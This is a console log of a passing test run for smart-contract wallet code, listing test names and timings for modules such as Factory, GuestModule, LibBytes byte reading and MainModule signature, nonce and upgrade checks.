Should return implements IModuleUpdate interfaceId (75ms) ✓ Should return implements IModuleAuthUpgradable interfaceId (87ms) Manually defined interfaces ✓ Should implement ERC165 interface (46ms) ✓ Should implement ERC721 interface (50ms) ✓ Should implement ERC1155 interface (59ms) Contract: Factory Deploy wallets ✓ Should deploy wallet (52ms) ✓ Should predict wallet address (77ms) ✓ Should initialize with main module (141ms) Contract: GuestModule GuestModule wallet ✓ Should accept transactions without signature (203ms) ✓ Should accept transactions on selfExecute (191ms) ✓ Should accept transactions with random signature (181ms) ✓ Should accept transactions with random nonce (178ms) ✓ Should revert on delegateCall transactions (99ms) ✓ Should not accept ETH (93ms) ✓ Should not implement hooks (76ms) ✓ Should not be upgradeable (407ms) Contract: LibBytes readFirstUint16 ✓ Should read first uint16 ✓ Should read first uint16 of 2 byte array (47ms) ✓ Should fail first uint16 out of bounds (45ms) readUint8Uint8 ✓ Should read bool and uint8 at index zero (39ms) ✓ Should read bool and uint8 at given index (56ms) ✓ Should read bool and uint8 at last index (69ms) ✓ Should fail read bool and uint8 out of bounds (65ms) ✓ Should fail read bool and uint16 fully out of bounds (80ms) readAddress ✓ Should read address at index zero (41ms) ✓ Should read address at given index (49ms) ✓ Should read address at last index (40ms) ✓ Should fail read address out of bounds✓ Should fail read address totally out of bounds (69ms) readBytes66 ✓ Should read bytes66 at index zero (175ms) ✓ Should read bytes66 at given index (105ms) ✓ Should read bytes66 at last index (52ms) ✓ Should fail read bytes66 out of bounds (44ms) ✓ Should fail read bytes66 totally out of bounds readBytes32 ✓ Should read bytes32 at index zero ✓ Should read bytes32 at given index ✓ Should read bytes32 at last index (44ms) ✓ Should fail read bytes32 out of bounds ✓ Should fail read bytes32 totally out of bounds readUint16 ✓ Should read uint16 at index zero ✓ Should read uint16 at given index (45ms) ✓ Should read uint16 at last index ✓ Should fail read uint16 out of bounds ✓ Should fail read uint16 fully out of bounds (43ms) readBytes Big bytes ✓ Should read bytes at index zero (233ms) ✓ Should read bytes at given index (1481ms) ✓ Should read bytes at last index (1003ms) ✓ Should fail read bytes out of bounds (664ms) ✓ Should fail read bytes totally out of bounds (43ms) Max bytes ✓ Should read bytes at index zero (3785ms) ✓ Should read bytes at given index (4097ms) ✓ Should read bytes at last index (4223ms) ✓ Should fail read bytes out of bounds (686ms) ✓ Should fail read bytes totally out of bounds (290ms) Small bytes ✓ Should read bytes at index zero (400ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (49ms) 0 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (46ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 1 bytes ✓ Should read bytes at index zero (44ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (49ms) 2 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (306ms) ✓ Should fail read bytes totally out of bounds (45ms) 3 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (38ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (46ms) 4 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (40ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 5 bytes ✓ Should read bytes at index zero (43ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (50ms) 6 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (136ms) 7 bytes ✓ Should read bytes at index zero (257ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 8 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 9 bytes ✓ Should read bytes at index zero (52ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (59ms) 10 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (43ms) ✓ Should fail read bytes totally out of bounds (367ms) 11 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (54ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (46ms) 12 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (53ms) 13 bytes ✓ Should read bytes at index zero (42ms) ✓ Should read bytes at given index ✓ Should read bytes at last index (56ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 14 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (74ms) ✓ Should read bytes at last index (361ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 15 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (43ms) ✓ Should fail read bytes totally out of bounds 16 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (39ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 17 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 18 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (62ms) ✓ Should fail read bytes totally out of bounds (352ms) 19 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (70ms) ✓ Should fail read bytes totally out of bounds (44ms) 20 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (73ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (45ms) ✓ Should fail read bytes totally out of bounds 21 bytes ✓ Should read bytes at index zero✓ Should read bytes at given index ✓ Should read bytes at last index (52ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 22 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (335ms) ✓ Should read bytes at last index (55ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 23 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (42ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (38ms) 24 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (49ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 25 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (48ms) 26 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (72ms) ✓ Should read bytes at last index (339ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 27 bytes ✓ Should read bytes at index zero (40ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 28 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 29 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 30 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (65ms) 31 bytes ✓ Should read bytes at index zero (375ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 32 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 33 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (54ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 34 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 35 bytes ✓ Should read bytes at index zero (42ms) ✓ Should read bytes at given index (288ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (53ms) ✓ Should fail read bytes totally out of bounds 36 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (49ms) ✓ Should read bytes at last index (52ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 37 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 38 bytes ✓ Should read bytes at index zero (48ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 39 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (60ms) ✓ Should fail read bytes out of bounds (266ms) ✓ Should fail read bytes totally out of bounds 40 bytes ✓ Should read bytes at index zero (50ms) ✓ Should read bytes at given index ✓ Should read bytes at last index (62ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 41 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (74ms) ✓ Should read bytes at last index (43ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 42 bytes ✓ Should read bytes at index zero (44ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 43 bytes ✓ Should read bytes at index zero (47ms) ✓ Should read bytes at given index ✓ Should read bytes at last index (60ms) ✓ Should fail read bytes out of bounds (267ms) ✓ Should fail read bytes totally out of bounds 44 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 45 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 46 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 47 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 48 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (66ms) ✓ Should read bytes at last index (57ms) ✓ Should fail read bytes out of bounds (199ms) ✓ Should fail read bytes totally out of bounds49 bytes ✓ Should read bytes at index zero (38ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (48ms) 50 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 51 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 52 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (39ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 53 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (38ms) 54 bytes ✓ Should read bytes at index zero (208ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (45ms) ✓ Should fail read bytes totally out of bounds 55 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 56 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 57 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (46ms) 58 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (54ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 59 bytes ✓ Should read bytes at index zero (77ms) ✓ Should read bytes at given index (92ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 60 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (59ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 61 bytes ✓ Should read bytes at index zero (46ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 62 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 63 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (63ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 64 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 65 bytes ✓ Should read bytes at index zero (104ms) ✓ Should read bytes at given index (40ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 66 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (170ms) ✓ Should fail read bytes totally out of bounds (138ms) 67 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (43ms) ✓ Should fail read bytes totally out of bounds 68 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (50ms) ✓ Should fail read bytes totally out of bounds 69 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (63ms) ✓ Should read bytes at last index (109ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (47ms) 70 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 71 bytes ✓ Should read bytes at index zero (93ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 72 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (44ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 73 bytes ✓ Should read bytes at index zero (49ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (38ms) 74 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (115ms) 75 bytes ✓ Should read bytes at index zero (39ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 76 bytes ✓ Should read bytes at index zero (39ms) ✓ Should read bytes at given index ✓ Should read bytes at last index✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 77 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (53ms) 78 bytes ✓ Should read bytes at index zero (42ms) ✓ Should read bytes at given index (80ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (53ms) 79 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 80 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (48ms) ✓ Should read bytes at last index (93ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 81 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (76ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 82 bytes ✓ Should read bytes at index zero (66ms) ✓ Should read bytes at given index (83ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 83 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (45ms) ✓ Should read bytes at last index (60ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (54ms) 84 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (57ms) ✓ Should fail read bytes totally out of bounds (111ms) 85 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 86 bytes ✓ Should read bytes at index zero (43ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (50ms) 87 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 88 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 89 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 90 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 91 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (39ms) ✓ Should read bytes at last index (117ms) ✓ Should fail read bytes out of bounds (39ms) ✓ Should fail read bytes totally out of bounds 92 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (40ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (39ms) 93 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 94 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 95 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 96 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 97 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (134ms) ✓ Should fail read bytes totally out of bounds (191ms) 98 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (40ms) 99 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index (39ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 100 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 101 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (50ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 102 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 103 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (48ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (119ms) ✓ Should fail read bytes totally out of bounds 104 bytes ✓ Should read bytes at index zero✓ Should read bytes at given index (49ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 105 bytes ✓ Should read bytes at index zero (39ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 106 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 107 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 108 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (42ms) ✓ Should fail read bytes totally out of bounds 109 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (41ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (52ms) ✓ Should fail read bytes totally out of bounds (115ms) 110 bytes ✓ Should read bytes at index zero (42ms) ✓ Should read bytes at given index ✓ Should read bytes at last index (40ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 111 bytes ✓ Should read bytes at index zero (44ms) ✓ Should read bytes at given index ✓ Should read bytes at last index (45ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 112 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (39ms) ✓ Should fail read bytes totally out of bounds (71ms) 113 bytes ✓ Should read bytes at index zero (83ms) ✓ Should read bytes at given index (63ms) ✓ Should read bytes at last index (236ms) ✓ Should fail read bytes out of bounds (122ms) ✓ Should fail read bytes totally out of bounds 114 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (44ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 115 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 116 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 117 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 118 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (43ms) 119 bytes ✓ Should read bytes at index zero (38ms) ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (118ms) ✓ Should fail read bytes totally out of bounds (59ms) 120 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (42ms) ✓ Should fail read bytes totally out of bounds 121 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (58ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds (38ms) ✓ Should fail read bytes totally out of bounds 122 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (74ms) ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 123 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (51ms) 124 bytes ✓ Should read bytes at index zero (68ms) ✓ Should read bytes at given index (72ms) ✓ Should read bytes at last index (52ms) ✓ Should fail read bytes out of bounds (87ms) ✓ Should fail read bytes totally out of bounds 125 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 126 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index ✓ Should read bytes at last index ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds (40ms) 127 bytes ✓ Should read bytes at index zero (45ms) ✓ Should read bytes at given index ✓ Should read bytes at last index (74ms) ✓ Should fail read bytes out of bounds (40ms) ✓ Should fail read bytes totally out of bounds (64ms) 128 bytes ✓ Should read bytes at index zero (52ms) ✓ Should read bytes at given index (60ms) ✓ Should read bytes at last index (69ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds 129 bytes ✓ Should read bytes at index zero ✓ Should read bytes at given index (105ms) ✓ Should read bytes at last index (49ms) ✓ Should fail read bytes out of bounds ✓ Should fail read bytes totally out of bounds Contract: MainModule Nested signatures ✓ Should accept simple nested signed ERC1271 message (246ms) ✓ Should accept simple nested signer (508ms) ✓ Should accept two nested signers (874ms) ✓ Should accept mixed nested and eoa signers (546ms) ✓ Should handle 2 nested sequence wallets (450ms) ✓ Should handle 64 nested sequence wallets (17271ms) ✓ Should handle 97 nested sequence wallets (31883ms) ✓ Should handle binary tree of sequence wallets (6504ms) ✓ Should handle ternary tree of sequence wallets (13211ms)✓ Should handle hexary tree of sequence wallets (14130ms) ✓ Should handle random tree of sequence wallets (depth 1) (519ms) ✓ Should handle random tree of sequence wallets (depth 2) (685ms) ✓ Should handle random tree of sequence wallets (depth 3) (1084ms) ✓ Should handle random tree of sequence wallets (depth 4) (3188ms) ✓ Should reject invalid nested signature (827ms) ✓ Should enforce threshold on nested sigantures (695ms) ✓ Should read weight of nested wallets (1409ms) Authentication ✓ Should accept initial owner signature (163ms) ✓ Should reject non-owner signature (268ms) ✓ Should reject signature with invalid flag (100ms) Network ID ✓ Should reject a transaction of another network id (262ms) Nonce Using non-encoded nonce ✓ Should default to space zero (145ms) ✓ Should work with zero as initial nonce (195ms) ✓ Should emit NonceChange event (372ms) ✓ Should fail if nonce did not change (246ms) ✓ Should fail if nonce increased by two (352ms) using 0x00 space ✓ Should work with zero as initial nonce (164ms) ✓ Should emit NonceChange event (204ms) ✓ Should accept next nonce (210ms) ✓ Should fail if nonce did not change (252ms) ✓ Should fail if nonce increased by two (761ms) ✓ Should use nonces storage keys (82ms) using 0x01 space ✓ Should work with zero as initial nonce (300ms) ✓ Should emit NonceChange event (308ms) ✓ Should accept next nonce (177ms) ✓ Should fail if nonce did not change (446ms) ✓ Should fail if nonce increased by two (342ms) ✓ Should use nonces storage keys (137ms) using 0x1cae space ✓ Should work with zero as initial nonce (103ms) ✓ Should emit NonceChange event (712ms) ✓ Should accept next nonce (1099ms) ✓ Should fail if nonce did not change (659ms) ✓ Should fail if nonce increased by two (169ms) ✓ Should use nonces storage keys (471ms) using 0xb3f342189345e432b29d8d5874f389a4ebd68d40 space ✓ Should work with zero as initial nonce (132ms) ✓ Should emit NonceChange event (810ms) ✓ Should accept next nonce (761ms) ✓ Should fail if nonce did not change (802ms) ✓ Should fail if nonce increased by two (156ms) ✓ Should use nonces storage keys (411ms) using 0xffffffffffffffffffffffffffffffffffffffff space ✓ Should work with zero as initial nonce (121ms) ✓ Should emit NonceChange event (809ms) ✓ Should accept next nonce (605ms) ✓ Should fail if nonce did not change (194ms) ✓ Should fail if nonce increased by two (345ms) ✓ Should use nonces storage keys (137ms) using two spaces simultaneously ✓ Should keep separated nonce counts (996ms) ✓ Should emit different events (1176ms) ✓ Should not accept nonce of different space (259ms) Upgradeability ✓ Should update implementation (428ms) ✓ Should fail to set implementation to address 0 (205ms) ✓ Should fail to set implementation to non-contract (434ms) ✓ Should use implementation storage key (182ms) External calls ✓ Should perform call to contract (335ms) ✓ Should return error message (395ms) Batch transactions ✓ Should perform multiple calls to contracts in one tx (372ms) ✓ Should perform call a contract and transfer eth in one tx (950ms) ✓ Should fail if one transaction fails (335ms) Delegate calls ✓ Should delegate call to module (745ms) on delegate call revert ✓ Should pass if delegate call is optional (679ms) ✓ Should fail if delegate call fails (599ms) Handle ETH ✓ Should receive ETH (44ms) ✓ Should transfer ETH (189ms) ✓ Should call payable function (383ms) Optional transactions ✓ Should skip a skipOnError transaction (770ms) ✓ Should skip failing transaction within batch (758ms) ✓ Should skip multiple failing transactions within batch (444ms) ✓ Should skip all failing transactions within batch (357ms) ✓ Should skip skipOnError update implementation action (389ms) Hooks receive tokens ✓ Should implement ERC1155 single transfer hook (45ms) ✓ Should implement ERC1155 batch transfer hook (110ms) ✓ Should implement ERC721 transfer hook (55ms) ✓ Should implement ERC223 transfer hook (90ms) ERC1271 Wallet ✓ Should validate arbitrary signed data (95ms) ✓ Should validate arbitrary signed hash (53ms) ✓ Should reject data signed by non-owner (67ms) ✓ Should reject hash signed by non-owner (117ms) External hooks ✓ Should read added hook (151ms) ✓ Should return zero if hook is not registered (114ms) ✓ Should forward call to external hook (263ms) ✓ Should not forward call to deregistered hook (325ms) ✓ Should pass calling a non registered hook (255ms) ✓ Should use hooks storage key (153ms) Require configuration ✓ Should require configuration of a non-deployed wallet (482ms) ✓ Should require configuration of a non-updated wallet (203ms) ✓ Should fail to require configuraiton of a non-deployed wallet (423ms) ✓ Should fail to require configuration of a non-updated wallet (513ms) Update owners After a migration ✓ Should implement new upgradable module ✓ Should accept new owner 